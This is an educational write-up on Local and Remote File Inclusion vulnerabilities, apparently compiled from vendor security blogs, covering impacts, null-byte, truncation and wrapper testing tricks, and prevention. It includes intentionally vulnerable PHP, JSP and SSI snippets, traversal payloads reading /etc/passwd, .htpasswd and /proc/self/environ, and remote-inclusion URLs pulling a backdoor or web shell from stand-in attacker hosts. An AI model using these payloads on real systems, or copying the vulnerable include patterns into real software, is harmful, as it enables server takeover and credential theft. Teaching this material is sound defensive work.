**INTRODUCTION**

The aim of this study is improve knowledge about Local File Inclusion Vulnerabilities.

**DETAILS**

**What is Local File Inclusion vulnerability?**

Local File Inclusion is a attack technique where attacker trick web app to run or expose file in the web server. Lfi can expose sensitive information, and in some dangerous cases it can lead to **XSS** and **RCE**.

In so many cases web apps uses the user-uploaded file as a part of web app f.e. avatar images, CV’s on linkedin. If application can run a file within the name of it in the URL like:

https://example-site.com/?module=contact.php

An attacker can change the URL to look like this:

https://example-site.com/?module=/etc/passwd

If proper input validation is not in place, server can display so many sensitive informations that is stored in it.

**How Do Local File Inclusions Work?**

When application uses file path as an input, that means app will treat that input as trusted and safe. A local file then can be injected into the included statement. This happens when victim’s code is vulnerable. In that case, an attacker can upload a malicious php script(Web Shell f.e.) and app will execute it.

Some cases, if application provides ability to upload files, attackers can run arbitrary server-side malicious codes. Most app doesn’t provide this functionality but even if they do, malicious file must be saved where LFI vulnerability is located in order to exploit LFI vulnerability. Also attacker need to know the file path of the uploaded file on the server file system.

**Impact of Exploited Local File Inclusion vulnerabilities**

Impact of the LFI vulnerability can vary based on the exploitation and the read permission of the webserver user. Based on these factors, an attacker can gather usernames via an /etc/passwd file, can gather useful informations from log files, or combine this vulnerability with other attack vectors (such as file upload vulnerability) to execute commands remotely. Here is the three possible outcomes of local file inclusion:

1. **Information disclosure**

Although not the worst outcome of a local file inclusion vulnerability, information disclosure can reveal important information about the application and its configuration. That information can be valuable to an attacker to gain a deeper understanding of the application and can help them detect and exploit other vulnerabilities.

1. **Directory Traversal**

A local file inclusion vulnerability can lead to Directory Traversal attacks, where an attacker will try to find an access files on the web server to gain more useful informations such as log files. Log files can reveal the structure of the application or expose paths to sensitive files. Incorrectly configured server can give attackers Access to user config files, and that is giving them Access to the other files on the server, or sometimes even can gain administrator Access.

1. **Remote Code Execution**

Combined with a file upload vulnerability, a Local File Inclusion vulnerability can lead to RCE. In this case attacker would use LFI to execute malicious files. To compound matters, an attacker can upload a file to the server to gain the ability to execute commands remotely, resulting in the attacker being able to control the whole server remotely.

**Scenarios Where Local File Inclusions Are Used**

**Including Files to be Parsed by the Language’s Interpreter**

Developers usually divide website’s code into directories, multiple files, etc. to make everything readable. In order for an Interpreter to find those files developers need to designate the correct path and then pass it to a function. Then function opens the file in question and includes it inside the document for the parser to be able to see it as a valid code that can be intepreted.

What happens when there’s no effective filtering? Well, code like this:

https://example-site.com/?module=contact.php

Can be changed to look like this:

https://example-site.com/?module=/etc/passwd

As we can see, “contact.php” part of the code replaced with the “/etc/passwd”. Passwords, username infos, logs, attacker can see the content of everything if just they can pretend the name of the file. Even more severe cases, attacker can include injection of code on the webserver. Then parser interprets this code as an instruction that can exploit an LFI vulnerability. Some attackers can use LFI vulnerability to reach directory traversal attack that can give attacker to full Access to error.log and Access.log or any other type of sensitive meta-data.

**Including Files that are Printed to a Page**

A developer sometimes want tos hare the output of a file across multipel web pages. A header file or something similiar. Developer wants the change of this file to be seen on all pages where it was included immediately. This file, while standardly plain HTML, can also be used to display ordinary text files:

https://example-site.com/?helpfile=login.txt

This way the content of the text file is outputted on the page. Information did not stored on the database. If there is no filter or sanitization, attacker can exploit this vulnerability. Then helpfile=login.txt becomes helpfile=../secret/.htpasswd and after that an attacker has Access to the password hashes of a **.htpasswd** file**.** **A file that includes all the credentials of any user that can Access a restricted area of that webserver.**

**Including Files that are Served as Downloads**

There are types of files that nearly all web browsers automatically open. A pdf, for example. Usres can configure this so the files get downloaded instead of shown in the browser window. That’s achieved by adding an additional header which named as Content-Disposition Header. A simple Content-Disposition: attachment; filename=file.pdf header addition in the request and now the files are downloaded instead of opened. An example looks like this:

https://example-site.com/?download=brochure.pdf

An issue arises when the request isn’t sanitized. This way the hacker has the option of requesting the download of the base files (The builder files of the web app). Then attackers can read the source code and find other web application vulnerabilities.

**How To Test Local File Inclusion**

**Null Byte Injection**

**The terms that “null character”, “null terminator” and “null byte” all refer to a control character where the value of zero is present in the reserved character sets used to mark the end of the string. The null byte ensures that any character after that is ignored.**

Typically, a null byte is injected as %00 at the end of a URL. Here is an example:

https://example-site.com/preview.php?file=../../../../../passwd%00

**Path and Dot Truncation**

Majority of PHP installations limit filenames to 4096 bytes. If file name is longer then PHP truncates it and discards all additional character. But attacker can remove the 4096 byte limitation from the .php extension, manipulating the process. In this case, no error is triggered, additional caharacters are dropped, and the PHP engine continues its execution (It is similiar with the case in the business logic. if website wants files to end with “image.php” we can maybe write malicious code in the filename and end the filename with “image.php” just after the 4096 bytes. So in this case. Website accept the file because it’s name is suitable for website requirements. Also due to php truncation, our malicious code will not corrupted because of that filename because that filename will be truncated).

Generally, attacker combine this bypass with other logic bypass techniques. For example, attacker might introduce double encoding, encode part of a file path with Unicode, or use other inputs that represent a valid filename

**PHP Wrappers**

LFI vulnerabilities usually give attackers read-only access to sensitive data. There are, ways to turn this read-only access into a fully compromised host. This type of attack is called Remote Code Execution (RCE). Attackers create RCE vulnerabilities by combining an LFI vulnerability with PHP wrappers.

A wrapper is an entity that surrounds another entity (in this case – code). The wrapper can contain functionality added to the original code. PHP uses built-in wrappers, which are implemented alongside file system functions. Attackers use this native functionality of PHP to add vulnerabilities into wrappers.

Here are two commonly used wrappers:

* **PHP filter** – provides access to a local file system. Attackers use this filter to read PHP files containing source code, typically for the purpose of identifying sensitive information, including credentials.
* **PHP ZIP** – this wrapper was designed to manipulate files compressed into a ZIP format. However, its behavior enables attackers to create a malicious ZIP file and upload it to the server.

**Code Example That Is Vulnerable To LFI**

The following is an example of PHP code that is vulnerable to LFI.

*/\*\**

*\* Get the filename from a GET input*

*\* Example - http://example.com/?file=filename.php*

*\*/*

$file = $\_GET['file'];

*/\*\**

*\* Unsafely include the file*

*\* Example - filename.php*

*\*/*

**include**('directory/' . $file);

**How To Prevent Local File Inclusion Vulnerabilities**

* Save the file paths in a database and assign an ID to each of them. That way, users can only see the ID and are not able to view or change the path.
* Use a whitelist of files and ignore every other filename and path.
* Instead of including files on the web server, store their content in databases where possible.

**What We Should NOT Do To Avoid LFI Vulnerabilities**

* Do not blacklist filenames. Attackers have a huge variety of filenames to include for information disclosure or code execution and maintaining a blacklist to cover everything is practically impossible. It also is not enough to block files commonly used for testing against LFI, like */etc/passwd* or */etc/hosts*.
* Do not use user input as a source for file inclusions.
* Do not remove or blacklist character sequences. There are known bypasses for such filtering.
* Do not encode file paths with base64, bin2hex, or similar functions, as this can be reversed relatively easily by an attacker.

**What is Remote File Inclusion Vulnerability?**

Similiar to the LFI, but in this version, attacker tries to make server to execute external script not the ones that stored in server. The goal of the attacker is to exploit referencing function in the target web app and upload a malware from a remote URL which located in different domain. Result of a successfull RFI can be information theft, a compromised server and a site takeover, resulting in content modification.

**Remote File Inclusion (RFI) Examples**

* 1. **A JavaServer Pages page containing the following code:**

<jps:include page=”<%=(String)request.getParameter(“ParamName”)%>”>

can be manipulated with the following request:

Page1.jsp?ParamName=/WEB-INF/DB/password.

After the application processes the request, it will reveal the content of the password file.

* 1. **The application has an import statement that requests content from a URL address:**

<c:import url=”<\*request.getParameter(“conf”)%>”>.

The same input statement can be used for malware injection if the statement is unsanitized.

For example:

Page2.jsp?conf=https://evil-website.com/attack.js

1. **An attacker will often launch a Remote File Inclusion attack by manipulating the request parameters so that they refer to a remote, malicious file.**

For example, consider the following code:

$incfile = $\_REQUEST[“file”];  
include($incfile.”.php”);

1. $incfile = $\_REQUEST[“file”]; – extracts the file parameter value from the HTTP request.
2. include($incfile.”.php”); – uses that value to dynamically set the file name.

If you don’t have proper sanitization in place, this code can be exploited, resulting in unauthorized file uploads.

For example, this URL string:  
  
http://www.example-website.com/vulnerable\_page.php?file=http://www.attacker.com/backdoor

contains an external reference to a backdoor file stored in a remote location (http://www.attacker.com/backdoor\_shell.php.)

Once uploaded to the application, this uploaded backdoor can be later used to hijack the server or gain access to the application database.

**File Inclusion Bulnerabilities In Common Programming Languages With Examples**

**File inclusion in PHP**

The main cause of File Inclusion vulnerabilities in PHP, is the use of unvalidated user-input with a filesystem function that includes a file for execution. **Most notable being the include and require statements.** In PHP 5.x the allow\_url\_include directive is disabled by default, but be cautious with the applications that written in older PHP versions. Because before 5.x allow\_url\_include was enabled by default.

Goal of the attacker is to alter a variable that is passed to one of these functions, to cause it to include malicious code from a remote source. To mitigate the risk we need to be ensure that input validation is in place.

**Example of an file Inclusion vulnerability in PHP**

<?php  
If (isset($\_GET[‘language’])) {  
include($\_GET[‘language’] . ‘.php’);  
}  
?>

<form method=”get”>  
<select name=”language”>  
<option value=”english”>English</option>  
<option value=”french”>French</option>  
…  
</select>  
<input type=”submit”>  
</form>

The developer intended to read in english.php or french.php, which will alter the application’s behavior to display the language of the user’s choice. But it is possible to inject another path using the language parameter.

For example:

* /vulnerable.php?language=http://evil.example.com/webshell.txt? – injects a remotely hosted file containing a malicious code (remote file include)
* /vulnerable.php?language=C:\\ftp\\upload\\exploit – Executes code from an already uploaded file called exploit.php (local file inclusion vulnerability)
* /vulnerable.php?language=C:\\notes.txt%00 – example using NULL meta character to remove the .php suffix, allowing access to files other than .php. **Note, this use of null byte injection was patched in PHP 5.3, and can no longer be used for LFI/RFI attacks**.
* /vulnerable.php?language=../../../../../etc/passwd%00 – allows an attacker to read the contents of the etc/passwd file on a Unix-like system through a directory traversal attack.
* /vulnerable.php?language=../../../../../proc/self/environ%00 – allows an attacker to read the contents of the /proc/self/environ file on a Unix-like system through a directory traversal attack. **An attacker can modify a HTTP header (such as User-Agent) in this attack to be PHP code to exploit remote code execution.**

The best solution in this case is to use a whitelist of accepted language parameters. If a strong method of input validation, such as a whitelist, cannot be used, then rely upon input filtering or validation of the passed-in path to make sure it does not contain unintended characters and character patterns. However, this may require anticipating all possible problematic character combinations. A safer solution is to use a predefined Switch/Case statement to determine which file to include rather than use a URL or form parameter to dynamically generate the path.

**File inclusion in JavaServer Pages (JSP)**

JavaServer Pages (JPS) is a scripting language which can include files for execution at runtime.

**Example of an File Inclusion vulnerability in JSP**

<%  
String p = request.getParameter(“p”);  
@include file=”<%=”includes/” + p +”.jsp”%>”  
%>

* /vulnerable.jps?p=../../../../var/log/access.log%00 – \*\*\***Unlike PHP, JSP is still affected by Null byte injection, and this param will execute JSP commands found in the web server’s access log.**

**Server Side Includes (SSI)**

Although a Server Side Include is uncommon and not typically enabled on a default web server, it can be used to gain remote code execution on a vulnerable web server.

**Example of an File Include vulnerability in SSI**

The following code is vulnerable to a remote-file inclusion vulnerability:

<!DOCTYPE html>  
<html>  
<head>  
<title>Test file</title>  
<head>  
<body>  
**<!--#include file=”USER\_LANGUAGE”-->**  
</body>  
</html>

The above code is not an XSS vulnerability, but rather including a new file to be executed by the server.

**RFI prevention and mitigation**

To minimize the risk of RFI attacks, proper input validation and sanitization has to be implemented. Ensure you don’t fall victim of the misconception that all user inputs can be fully sanitized. Look at sanitization only as an additive to a dedicated security solution.

Sanitize the user supplied or controlled input the best you can including:

* HTTP header values
* URL parameters
* Cookie values
* GET/POST parameters

Check the input fields against a whitelist. An attacker can supply input in a different format (encoded or hexadecimal formats) and bypass a blacklist.

Client-side validation comes with the benefit of reduced processing overhead, but they are vulnerable to attacks by proxy tools, so apply the validation on the server end.

Make sure you restrict execution permissions for the upload directories, maintain a whitelist of acceptable files types, and restrict upload file sizes.

**REFERENCES**

[**https://www.invicti.com/blog/web-security/local-file-inclusion-vulnerability/**](https://www.invicti.com/blog/web-security/local-file-inclusion-vulnerability/)

[**https://brightsec.com/blog/local-file-inclusion-lfi/**](https://brightsec.com/blog/local-file-inclusion-lfi/)

[**https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/**](https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/)

[**https://www.acunetix.com/blog/articles/local-file-inclusion-lfi/**](https://www.acunetix.com/blog/articles/local-file-inclusion-lfi/)